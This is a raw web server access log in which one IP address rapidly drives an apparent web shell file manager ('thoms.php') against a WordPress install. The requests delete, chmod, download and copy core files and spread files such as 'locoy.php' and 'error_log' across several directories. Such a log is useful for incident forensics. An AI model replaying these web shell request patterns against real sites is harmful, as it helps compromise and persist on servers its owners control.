45.135.193.11 - - [11/Sep/2026:23:29:39 -0400] "GET /bossini.com.tw/wp-includes/feed-rdf.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:39 -0400] "GET /bossini.com.tw/wp-includes/http.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:40 -0400] "GET /bossini.com.tw/wp-includes/theme-i18n.json HTTP/1.1" 200 446 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:39 -0400] "GET /thoms.php?del=bookmark.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59154 "http://163.245.207.76:443/thoms.php?del=bookmark.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:40 -0400] "GET /thoms.php?chmod=update.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=update.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:40 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-block-templates-registry.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11908 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-block-templates-registry.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:40 -0400] "GET /thoms.php?chmod=class-wp-dependency.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11539 "http://163.245.207.76:443/thoms.php?chmod=class-wp-dependency.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:40 -0400] "GET /thoms.php?del=template.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59141 "http://163.245.207.76:443/thoms.php?del=template.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:40 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-site-query.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-site-query.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:40 -0400] "GET /thoms.php?chmod=nav-menu-template.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11496 "http://163.245.207.76:443/thoms.php?chmod=nav-menu-template.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:40 -0400] "GET /bossini.com.tw/wp-includes/class-wp-block-parser-block.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:40 -0400] "GET /thoms.php?chmod=block-template.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=block-template.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:40 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-role.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-role.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:40 -0400] "GET /thoms.php?dl=shortcodes.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59184 "http://163.245.207.76:443/thoms.php?dl=shortcodes.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:41 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-speculation-rules.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11895 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-speculation-rules.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:40 -0400] "GET /thoms.php?del=class-wp-rewrite.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59192 "http://163.245.207.76:443/thoms.php?del=class-wp-rewrite.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:41 -0400] "GET /bossini.com.tw/wp-includes/update.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:41 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=comment-template.php HTTP/1.1" 200 39097 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=comment-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:41 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Ffeed-rdf.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Ffeed-rdf.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:41 -0400] "GET /thoms.php?chmod=class-wp-user-query.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=class-wp-user-query.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:41 -0400] "GET /thoms.php?chmod=ms-deprecated.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11528 "http://163.245.207.76:443/thoms.php?chmod=ms-deprecated.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:41 -0400] "GET /thoms.php?dl=link-template.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=link-template.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:41 -0400] "GET /bossini.com.tw/wp-includes/customize/ HTTP/1.1" 200 2245 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:41 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fwp-db.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11865 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fwp-db.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:41 -0400] "GET /bossini.com.tw/wp-includes/media.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:42 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Ffeed-rss2-comments.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11893 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Ffeed-rss2-comments.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:41 -0400] "GET /thoms.php?dl=vars.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59201 "http://163.245.207.76:443/thoms.php?dl=vars.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:42 -0400] "GET /thoms.php?chmod=post-template.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=post-template.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:42 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fstyle-engine.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11874 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fstyle-engine.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:42 -0400] "GET /bossini.com.tw/wp-includes/css/ HTTP/1.1" 200 2400 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:42 -0400] "GET /thoms.php?dl=class-wp-navigation-fallback.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59132 "http://163.245.207.76:443/thoms.php?dl=class-wp-navigation-fallback.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:42 -0400] "GET /thoms.php?chmod=class-wp-editor.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=class-wp-editor.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:42 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fdefault-filters.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11886 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fdefault-filters.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:42 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-query.php HTTP/1.1" 200 54392 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:42 -0400] "GET /thoms.php?copy=bossini.com.tw%2Ferror_log&p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 200 11349 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ferror_log&p=bossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:42 -0400] "GET /thoms.php?copy=bossini.com.tw%2Ferror_log&p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ferror_log&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:42 -0400] "GET /thoms.php?copy=bossini.com.tw%2Ferror_log&finish=1&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ferror_log&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22103 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ferror_log&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:42 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 18252 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ferror_log&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:42 -0400] "GET /thoms.php?copy=bossini.com.tw%2Ferror_log&finish=1&move=1&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ferror_log&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:42 -0400] "GET /thoms.php?del=feed-atom.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=feed-atom.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:43 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 18217 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ferror_log&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:43 -0400] "GET /thoms.php?copy=bossini.com.tw%2Ferror_log&p=bossini.com.tw%2Fcgi-bin HTTP/1.1" 200 11357 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ferror_log&p=bossini.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:43 -0400] "GET /thoms.php?copy=bossini.com.tw%2Ferror_log&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11863 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ferror_log&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:43 -0400] "GET /thoms.php?copy=bossini.com.tw%2Ferror_log&p=bossini.com.tw%2Fwp-content HTTP/1.1" 200 11419 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ferror_log&p=bossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:43 -0400] "GET /thoms.php?copy=bossini.com.tw%2Ferror_log&p= HTTP/1.1" 200 12319 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ferror_log&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:43 -0400] "GET /thoms.php?copy=bossini.com.tw%2Ferror_log&p=bossini.com.tw%2F.well-known HTTP/1.1" 200 11359 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ferror_log&p=bossini.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:43 -0400] "GET /thoms.php?copy=bossini.com.tw%2Ferror_log&p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 11355 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ferror_log&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:43 -0400] "GET /thoms.php?copy=bossini.com.tw%2Ferror_log&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11451 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ferror_log&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:43 -0400] "GET /thoms.php?edit=license.txt&p=bossini.com.tw HTTP/1.1" 200 19844 "http://163.245.207.76:443/thoms.php?edit=license.txt&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:43 -0400] "GET /thoms.php?edit=license.txt&env=ace&p=bossini.com.tw HTTP/1.1" 200 23484 "http://163.245.207.76:443/thoms.php?edit=license.txt&env=ace&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:43 -0400] "GET /thoms.php?copy=bossini.com.tw%2Flocoy.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11453 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Flocoy.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:43 -0400] "GET /thoms.php?copy=bossini.com.tw%2Flocoy.php&p=bossini.com.tw%2Fwp-content HTTP/1.1" 200 11455 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Flocoy.php&p=bossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:44 -0400] "GET /thoms.php?copy=bossini.com.tw%2Flocoy.php&p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 11345 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Flocoy.php&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:44 -0400] "GET /thoms.php?copy=bossini.com.tw%2Flocoy.php&finish=1&move=1&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Flocoy.php&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:44 -0400] "GET /thoms.php?copy=bossini.com.tw%2Flocoy.php&p= HTTP/1.1" 200 12312 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Flocoy.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:44 -0400] "GET /thoms.php?copy=bossini.com.tw%2Flocoy.php&finish=1&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Flocoy.php&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:44 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 18256 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Flocoy.php&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:44 -0400] "GET /thoms.php?copy=bossini.com.tw%2Flocoy.php&p=bossini.com.tw%2F.well-known HTTP/1.1" 200 11392 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Flocoy.php&p=bossini.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:44 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 18369 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Flocoy.php&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:44 -0400] "GET /thoms.php?copy=bossini.com.tw%2Flocoy.php&p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 200 11350 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Flocoy.php&p=bossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:44 -0400] "GET /thoms.php?copy=bossini.com.tw%2Flocoy.php&p=bossini.com.tw%2Fcgi-bin HTTP/1.1" 200 11348 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Flocoy.php&p=bossini.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:44 -0400] "GET /bossini.com.tw/transfer-sample/index.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:44 -0400] "GET /thoms.php?copy=bossini.com.tw%2Flocoy.php&p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Flocoy.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:44 -0400] "GET /thoms.php?copy=bossini.com.tw%2Flocoy.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11868 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Flocoy.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:44 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22092 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Flocoy.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:44 -0400] "GET /bossini.com.tw/transfer-sample/license.txt HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:44 -0400] "GET /bossini.com.tw/transfer-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/bossini.com.tw/transfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:44 -0400] "GET /thoms.php?p=bossini.com.tw%2Ftransfer-sample&view=admin.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Ftransfer-sample&view=admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:44 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22111 "https://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Ftransfer-sample&view=admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:44 -0400] "GET /thoms.php?copy=bossini.com.tw%2Ftransfer-sample%2Fcjfuns.php&p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ftransfer-sample%2Fcjfuns.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
